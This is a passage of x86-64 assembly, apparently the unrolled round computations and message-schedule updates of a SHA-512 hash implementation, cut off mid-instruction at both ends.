$(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (232)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (240)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (248)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (256)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (264)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (272)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (280)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (288)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (296)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (48)(%rsp), %rax mov (24)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (48)(%rsp), %rcx mov (24)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (40)(%rsp), %rax add (112)(%rsp), %rbx add %rbx, %rax mov %rax, (40)(%rsp) add (304)(%rbp), %r9 add (48)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (56)(%rsp), %rax mov (32)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (56)(%rsp), %rcx mov (32)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (48)(%rsp), %rax add (120)(%rsp), %rbx add %rbx, %rax mov %rax, (48)(%rsp) add (312)(%rbp), %r8 add (56)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (64)(%rsp), %rax mov (40)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (64)(%rsp), %rcx mov (40)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (56)(%rsp), %rax add (%rsp), %rbx add %rbx, %rax mov %rax, (56)(%rsp) add (320)(%rbp), %r15 add (64)(%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (72)(%rsp), %rax mov (48)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (72)(%rsp), %rcx mov (48)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (64)(%rsp), %rax add (8)(%rsp), %rbx add %rbx, %rax mov %rax, (64)(%rsp) add (328)(%rbp), %r14 add (72)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (80)(%rsp), %rax mov (56)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (80)(%rsp), %rcx mov (56)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (72)(%rsp), %rax add (16)(%rsp), %rbx add %rbx, %rax mov %rax, (72)(%rsp) add (336)(%rbp), %r13 add (80)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (88)(%rsp), %rax mov (64)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (88)(%rsp), %rcx mov (64)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (80)(%rsp), %rax add (24)(%rsp), %rbx add %rbx, %rax mov %rax, (80)(%rsp) add (344)(%rbp), %r12 add (88)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (96)(%rsp), %rax mov (72)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (96)(%rsp), %rcx mov (72)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (88)(%rsp), %rax add (32)(%rsp), %rbx add %rbx, %rax mov %rax, (88)(%rsp) add (352)(%rbp), %r11 add (96)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (104)(%rsp), %rax mov (80)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (104)(%rsp), %rcx mov (80)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (96)(%rsp), %rax add (40)(%rsp), %rbx add %rbx, %rax mov %rax, (96)(%rsp) add (360)(%rbp), %r10 add (104)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd $(28), %rcx, %rcx mov %r11, %rbx push %r11 xor %r12, %rdx shrd $(34), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(5), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r10 mov (112)(%rsp), %rax mov (88)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (112)(%rsp), %rcx mov (88)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (104)(%rsp), %rax add (48)(%rsp), %rbx add %rbx, %rax mov %rax, (104)(%rsp) add (368)(%rbp), %r9 add (112)(%rsp), %r9 mov %r14, %rcx mov %r14, %rdx shrd $(14), %rcx, %rcx mov %r14, %rbx push %r14 not %rdx shrd $(18), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(23), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r9 add %r9, %r13 mov %r10, %rcx mov %r10, %rdx shrd $(28), %rcx, %rcx mov %r10, %rbx push %r10 xor %r11, %rdx shrd $(34), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(5), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r9 mov (120)(%rsp), %rax mov (96)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (120)(%rsp), %rcx mov (96)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (112)(%rsp), %rax add (56)(%rsp), %rbx add %rbx, %rax mov %rax, (112)(%rsp) add (376)(%rbp), %r8 add (120)(%rsp), %r8 mov %r13, %rcx mov %r13, %rdx shrd $(14), %rcx, %rcx mov %r13, %rbx push %r13 not %rdx shrd $(18), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(23), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r8 add %r8, %r12 mov %r9, %rcx mov %r9, %rdx shrd $(28), %rcx, %rcx mov %r9, %rbx push %r9 xor %r10, %rdx shrd $(34), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(5), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r8 mov (%rsp), %rax mov (104)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (%rsp), %rcx mov (104)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (120)(%rsp), %rax add (64)(%rsp), %rbx add %rbx, %rax mov %rax, (120)(%rsp) add (384)(%rbp), %r15 add (%rsp), %r15 mov %r12, %rcx mov %r12, %rdx shrd $(14), %rcx, %rcx mov %r12, %rbx push %r12 not %rdx shrd $(18), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(23), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r15 add %r15, %r11 mov %r8, %rcx mov %r8, %rdx shrd $(28), %rcx, %rcx mov %r8, %rbx push %r8 xor %r9, %rdx shrd $(34), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(5), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r15 mov (8)(%rsp), %rax mov (112)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (8)(%rsp), %rcx mov (112)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (%rsp), %rax add (72)(%rsp), %rbx add %rbx, %rax mov %rax, (%rsp) add (392)(%rbp), %r14 add (8)(%rsp), %r14 mov %r11, %rcx mov %r11, %rdx shrd $(14), %rcx, %rcx mov %r11, %rbx push %r11 not %rdx shrd $(18), %r11, %r11 and %r12, %rbx and %r13, %rdx xor %r11, %rcx shrd $(23), %r11, %r11 xor %rbx, %rdx xor %r11, %rcx pop %r11 lea (%rdx,%rcx), %rbx add %rbx, %r14 add %r14, %r10 mov %r15, %rcx mov %r15, %rdx shrd $(28), %rcx, %rcx mov %r15, %rbx push %r15 xor %r8, %rdx shrd $(34), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(5), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r14 mov (16)(%rsp), %rax mov (120)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (16)(%rsp), %rcx mov (120)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (8)(%rsp), %rax add (80)(%rsp), %rbx add %rbx, %rax mov %rax, (8)(%rsp) add (400)(%rbp), %r13 add (16)(%rsp), %r13 mov %r10, %rcx mov %r10, %rdx shrd $(14), %rcx, %rcx mov %r10, %rbx push %r10 not %rdx shrd $(18), %r10, %r10 and %r11, %rbx and %r12, %rdx xor %r10, %rcx shrd $(23), %r10, %r10 xor %rbx, %rdx xor %r10, %rcx pop %r10 lea (%rdx,%rcx), %rbx add %rbx, %r13 add %r13, %r9 mov %r14, %rcx mov %r14, %rdx shrd $(28), %rcx, %rcx mov %r14, %rbx push %r14 xor %r15, %rdx shrd $(34), %r14, %r14 and %r15, %rbx and %r8, %rdx xor %r14, %rcx shrd $(5), %r14, %r14 xor %rbx, %rdx xor %r14, %rcx pop %r14 lea (%rdx,%rcx), %rbx add %rbx, %r13 mov (24)(%rsp), %rax mov (%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (24)(%rsp), %rcx mov (%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (16)(%rsp), %rax add (88)(%rsp), %rbx add %rbx, %rax mov %rax, (16)(%rsp) add (408)(%rbp), %r12 add (24)(%rsp), %r12 mov %r9, %rcx mov %r9, %rdx shrd $(14), %rcx, %rcx mov %r9, %rbx push %r9 not %rdx shrd $(18), %r9, %r9 and %r10, %rbx and %r11, %rdx xor %r9, %rcx shrd $(23), %r9, %r9 xor %rbx, %rdx xor %r9, %rcx pop %r9 lea (%rdx,%rcx), %rbx add %rbx, %r12 add %r12, %r8 mov %r13, %rcx mov %r13, %rdx shrd $(28), %rcx, %rcx mov %r13, %rbx push %r13 xor %r14, %rdx shrd $(34), %r13, %r13 and %r14, %rbx and %r15, %rdx xor %r13, %rcx shrd $(5), %r13, %r13 xor %rbx, %rdx xor %r13, %rcx pop %r13 lea (%rdx,%rcx), %rbx add %rbx, %r12 mov (32)(%rsp), %rax mov (8)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (32)(%rsp), %rcx mov (8)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (24)(%rsp), %rax add (96)(%rsp), %rbx add %rbx, %rax mov %rax, (24)(%rsp) add (416)(%rbp), %r11 add (32)(%rsp), %r11 mov %r8, %rcx mov %r8, %rdx shrd $(14), %rcx, %rcx mov %r8, %rbx push %r8 not %rdx shrd $(18), %r8, %r8 and %r9, %rbx and %r10, %rdx xor %r8, %rcx shrd $(23), %r8, %r8 xor %rbx, %rdx xor %r8, %rcx pop %r8 lea (%rdx,%rcx), %rbx add %rbx, %r11 add %r11, %r15 mov %r12, %rcx mov %r12, %rdx shrd $(28), %rcx, %rcx mov %r12, %rbx push %r12 xor %r13, %rdx shrd $(34), %r12, %r12 and %r13, %rbx and %r14, %rdx xor %r12, %rcx shrd $(5), %r12, %r12 xor %rbx, %rdx xor %r12, %rcx pop %r12 lea (%rdx,%rcx), %rbx add %rbx, %r11 mov (40)(%rsp), %rax mov (16)(%rsp), %rbx shr $(7), %rax shr $(6), %rbx mov (40)(%rsp), %rcx mov (16)(%rsp), %rdx shrd $(1), %rcx, %rcx shrd $(19), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx shrd $(7), %rcx, %rcx shrd $(42), %rdx, %rdx xor %rcx, %rax xor %rdx, %rbx add (32)(%rsp), %rax add (104)(%rsp), %rbx add %rbx, %rax mov %rax, (32)(%rsp) add (424)(%rbp), %r10 add (40)(%rsp), %r10 mov %r15, %rcx mov %r15, %rdx shrd $(14), %rcx, %rcx mov %r15, %rbx push %r15 not %rdx shrd $(18), %r15, %r15 and %r8, %rbx and %r9, %rdx xor %r15, %rcx shrd $(23), %r15, %r15 xor %rbx, %rdx xor %r15, %rcx pop %r15 lea (%rdx,%rcx), %rbx add %rbx, %r10 add %r10, %r14 mov %r11, %rcx mov %r11, %rdx shrd 